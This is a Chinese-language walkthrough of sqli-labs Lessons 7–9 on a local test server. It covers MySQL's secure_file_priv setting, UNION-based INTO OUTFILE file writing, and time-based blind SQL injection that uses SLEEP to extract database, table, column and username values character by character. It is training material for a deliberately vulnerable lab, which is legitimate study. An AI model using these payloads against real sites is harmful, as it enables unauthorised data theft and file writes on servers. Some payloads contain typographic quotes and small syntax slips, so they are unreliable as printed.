注意在要对文件进行导入导出首先得要有足够的权限,
但是mysql默认不能导入和导出文件,这与secure_file_priv的值有关(默认为null)
secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
1、当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
2、当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
3、当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
用以下命令查看secure_file_priv的值
show variables like '%secure%'
在my.ini文件[mysqld]的后面加上secure_file_priv=‘’,然后重启phpstudy即可
1、观察源码发现
故我们可以使用试’)) or 1=1–+进行注入来注入
2、进行内容导入
虽然报错,但是文件已经生产
http://127.0.0.1/sqli-labs-master/Less-7/?id=1'))union select version(),user(),database()into outfile "F:\\php\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\3.txt"%23
注意:
1、outfire 后面的路径为绝对路径且存在
2、要有足够的权限
3、注入的内容也可以是字符串,句子
4、要想注入新内容,需要新的文件名
观察源码发现报错注入被注释了,那么我们可以使用延时注入
http://127.0.0.1/sqli-labs-master/Less-8/?id=1'or 1=1--+
这里演示下延时注入,如果有错误要等待五秒
http://127.0.0.1/sqli-labs-master/Less-8/?id=1’and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+
标题是基于时间-单引号
所有我们使用’or1=1–+和延时报错进行注入
由于有错误需要延时五秒才行,正确的直接返回结果,所以这边直接给出命令,不贴图
1、猜数据库
http://127.0.0.1/sqli-labs-master/Less-9/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
说明第一位是s,s的ascii码为115,猜第二位只要把(substr(database(),1,1))=115改成(substr(database(),2,1))=101即可(e的ASCII码为101),
以此类推,得到数据库名字为security
2、猜security的数据表
http://127.0.0.1/sqli-labs-master/Less-9/?id=1'and If(ascii(substr(select table_name from information_schema.tables where table_schema='security'limit 0,1),1,1))=101,1,sleep(5))--+
得到第一个数据库的第一位是e(其ASCII码值为101),猜第二位时只要把table_schema='security’limit 0,1),1,1))=101改成
table_schema='security’limit 0,1),2,1))=109即可,可以猜出第二位为m,以此类推得到emails
猜第二个数据库
table_schema='security’limit 0,1),1,1))=101改成
table_schema='security’limit 1,1),1,1))=114即可,
以此类推得到第二个数据表为referes
3、猜users表的列
http://127.0.0.1/sqli-labs-master/Less-9/?id=1'and If(ascii(substr(select column_name from information_schema.columns where table_name='users'limit 0,1),1,1))=105,1,sleep(5))--+
得到第一列的第一位为i,以此类推可以得到
第一列的第一个字符为id,列名为username,password
4、猜username的值
http://127.0.0.1/sqli-labs-master/Less-9/?id=1'and If(ascii(substr(select username from users limit 0,1),1,1))=68,1,sleep(5))--+
然后大家可以猜出username的所有内容